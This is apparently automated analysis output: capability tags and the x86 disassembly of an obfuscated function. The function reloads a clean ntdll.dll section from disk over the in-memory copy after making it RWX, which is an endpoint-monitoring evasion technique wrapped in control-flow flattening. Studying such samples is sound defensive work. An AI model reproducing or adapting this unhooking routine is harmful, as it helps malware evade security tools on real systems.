Function at 0x401190
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [0x4ea2c0]
xor eax, esp
mov dword [esp + 0x44], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x40], 0
push 0x458258
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [esp + 0x38]
push 0xc
push ecx
mov dword [esp + 0x18], eax
push eax
mov dword [esp + 0x20], esi
push esi
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [esp + 0x38]
mov dword [esp + 8], eax
sub esp, 0x1c
vmovaps xmm0, xmmword [0x458200]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], str.c:windows_system32_ntdll.dll
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x24], eax
mov eax, 0x791bb021
mov dword [esp + 4], ecx
jmp 0x401270
mov eax, dword [0x4ec430]
mov ecx, dword [0x4ec42c]
mov esi, 0x55fc84e4
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc13c42e6
cmovne ebx, esi
test eax, edx
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, ebx
nop word cs:[eax + eax]
cmp eax, 0xed4c0e6b
jg 0x4012c0
cmp eax, 0xb851a734
jle 0x401370
cmp eax, 0xc5c162ad
jle 0x4013e6
cmp eax, 0xd329c716
jle 0x4014bc
cmp eax, 0xd329c717
je 0x401618
cmp eax, 0xdfab3f68
je 0x40166d
cmp eax, 0xecf3c1b7
jne 0x401270
mov eax, 0x8f33719f
jmp 0x401270
cmp eax, 0x1d1f04cf
jle 0x4013b0
cmp eax, 0x54b7b4c1
jle 0x401411
cmp eax, 0x5b562b40
jle 0x4014dc
cmp eax, 0x5b562b41
je 0x401228
cmp eax, 0x72b0fc8e
je 0x40167f
cmp eax, 0x791bb021
jne 0x401270
mov eax, dword [esp + 0x24]
sub esp, 0x18
vmovaps xmm0, xmmword [0x458210]
mov dword [esp + 0x38], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
vmovaps xmm0, xmmword [0x458220]
mov dword [esp + 0x30], eax
mov dword [esp], eax
vmovups xmmword [esp + 4], xmm0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
mov eax, 0xdfab3f68
mov dword [esp + 0xc], ecx
jmp 0x401270
cmp eax, 0x926f61ee
jle 0x401466
cmp eax, 0xa7d35706
jg 0x4014fc
cmp eax, 0x926f61ef
je 0x4016a7
cmp eax, 0x9d15550a
jne 0x4018be
mov eax, 0x432e56ab
jmp 0x401270
cmp eax, 0xfb838ca0
jg 0x401491
cmp eax, 0xf24a47c2
jg 0x401529
cmp eax, 0xed4c0e6c
je 0x4016c6
cmp eax, 0xf2134eb7
jne 0x401270
mov eax, 0xafa3574
jmp 0x401270
cmp eax, 0xbc0a0608
jg 0x401571
cmp eax, 0xb851a735
je 0x4016d8
cmp eax, 0xb96a0b24
jne 0x401270
mov eax, 0x86552f27
jmp 0x401270
cmp eax, 0x2c7e29a8
jg 0x401591
cmp eax, 0x1d1f04d0
je 0x4016f5
cmp eax, 0x2201652e
jne 0x401270
mov edx, dword [0x4ec430]
mov ecx, dword [0x4ec42c]
mov esi, 0x54b7b4c2
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf24a47c3
jmp 0x40184a
cmp eax, 0x8f33719e
jg 0x4015b1
cmp eax, 0x86552f27
je 0x40171b
cmp eax, 0x8b242883
jne 0x401270
mov eax, 0xa7d35707
jmp 0x401270
cmp eax, 0x4404d08
jg 0x4015d1
cmp eax, 0xfb838ca1
je 0x40174d
cmp eax, 0xfcea15a3
jne 0x401270
mov eax, 0xb851a735
jmp 0x401270
cmp eax, 0xc5c162ae
je 0x40175f
cmp eax, 0xd072720e
jne 0x401270
mov eax, 0x9d15550a
jmp 0x401270
cmp eax, 0x54b7b4c2
je 0x401769
cmp eax, 0x55fc84e4
jne 0x401270
mov eax, 0x8b242883
jmp 0x401270
cmp eax, 0xa7d35707
je 0x4017b9
cmp eax, 0xa7f3f838
jne 0x401270
cmp byte [esp + 3], 0
mov eax, 0x2c7e29a9
mov ecx, 0xf484c5ee
cmovne eax, ecx
jmp 0x401270
cmp eax, 0xf24a47c3
je 0x4017e5
cmp eax, 0xf484c5ee
jne 0x401270
mov eax, dword [0x4ec430]
mov ecx, dword [0x4ec42c]
mov esi, 0xbc0a0609
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc5c162ae
jmp 0x401255
cmp eax, 0xbc0a0609
je 0x4017ef
cmp eax, 0xc13c42e6
jne 0x401270
mov eax, 0x5b562b41
jmp 0x401270
cmp eax, 0x2c7e29a9
je 0x40181b
cmp eax, 0x432e56ab
jne 0x401270
mov eax, 0xfb838ca1
jmp 0x401270
cmp eax, 0x8f33719f
je 0x401860
cmp eax, 0x90b7b6f9
jne 0x401270
mov eax, 0x2201652e
jmp 0x401270
cmp eax, 0x4404d09
je 0x40189f
cmp eax, 0xafa3574
jne 0x401270
movzx eax, word [esp + 4]
lea ebp, [eax + eax*4]
shl ebp, 3
add ebp, dword [esp + 0x30]
push 0x458280
push ebp
call fcn.0043faf0
add esp, 8
test eax, eax
mov eax, 0x9d15550a
mov ecx, 0xd329c717
cmove eax, ecx
jmp 0x401270
mov dword [esp + 0x34], 0
mov ebx, dword [esp + 8]
lea esi, [esp + 0x34]
mov eax, dword [ebp + 0xc]
add eax, ebx
push esi
push 0x40
push dword [ebp + 8]
push eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov eax, dword [ebp + 0xc]
lea ecx, [eax + ebx]
add eax, dword [esp + 0x18]
push dword [ebp + 8]
push eax
push ecx
call fcn.0043c170
add esp, 0xc
mov eax, dword [ebp + 0xc]
add eax, ebx
push esi
push dword [esp + 0x38]
push dword [ebp + 8]
push eax
call edi
mov eax, 0xed4c0e6c
jmp 0x401270
mov eax, 0x2201652e
mov dword [esp + 4], 0
jmp 0x401270
movzx eax, word [esp]
mov edi, 0x90b7b6f9
mov esi, 0x4404d09
inc eax
mov dword [esp + 4], eax
mov eax, dword [0x4ec430]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4404d09
jmp 0x401794
mov eax, dword [0x4ec430]
mov esi, 0x72b0fc8e
mov ebx, 0x4404d09
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4404d09
jmp 0x40187a
mov eax, dword [0x4ec430]
mov ecx, dword [0x4ec42c]
mov esi, 0x86552f27
jmp 0x40172b
mov eax, dword [esp + 0x2c]
movzx eax, word [eax + 6]
mov ecx, dword [esp + 0x28]
cmp ecx, eax
mov eax, 0xa7f3f838
setl byte [esp + 3]
jmp 0x401270
mov eax, dword [0x4ec430]
mov edi, 0x8f33719f
mov esi, 0xecf3c1b7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xecf3c1b7
jmp 0x40179c
mov eax, dword [0x4ec430]
mov ecx, dword [0x4ec42c]
mov esi, 0xd072720e
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xb96a0b24
jmp 0x401255
mov eax, dword [esp + 4]
mov word [esp], ax
mov eax, 0x926f61ef
jmp 0x401270
mov eax, 0xbc0a0609
jmp 0x401270
movzx eax, word [esp + 4]
mov edi, 0xfcea15a3
mov esi, 0xf24a47c3
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0xc]
mov dword [esp + 0x2c], eax
mov eax, dword [0x4ec430]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xf24a47c3
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4ec42c], 0xa
setl dl
cmovge eax, esi
xor dl, cl
cmovne eax, edi
jmp 0x401270
push dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x20]
call esi
push dword [esp + 0x1c]
call esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 0x1d1f04d0
jmp 0x401270
mov eax, 0x54b7b4c2
jmp 0x401270
mov ecx, dword [esp + 0xc]
mov esi, 0xf2134eb7
mov ebx, 0xc5c162ae
movzx eax, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0x30], eax
mov eax, dword [0x4ec430]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xc5c162ae
jmp 0x40187a
mov edx, dword [0x4ec430]
mov ecx, dword [0x4ec42c]
mov esi, 0x5b562b41
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc13c42e6
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401270
mov eax, dword [0x4ec430]
mov esi, 0x95b5f7e0
mov ebx, 0xecf3c1b7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xecf3c1b7
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, esi
cmp dword [0x4ec42c], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, esi
jmp 0x401270
movzx eax, word [esp]
movzx eax, word [esp]
movzx eax, word [esp]
movzx eax, word [esp]
inc eax
mov dword [esp + 4], eax
mov eax, 0x72b0fc8e
jmp 0x401270
cmp eax, 0x95b5f7e0
jne 0x401270
mov ecx, dword [esp + 0x44]
xor ecx, esp
call fcn.004392e0
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret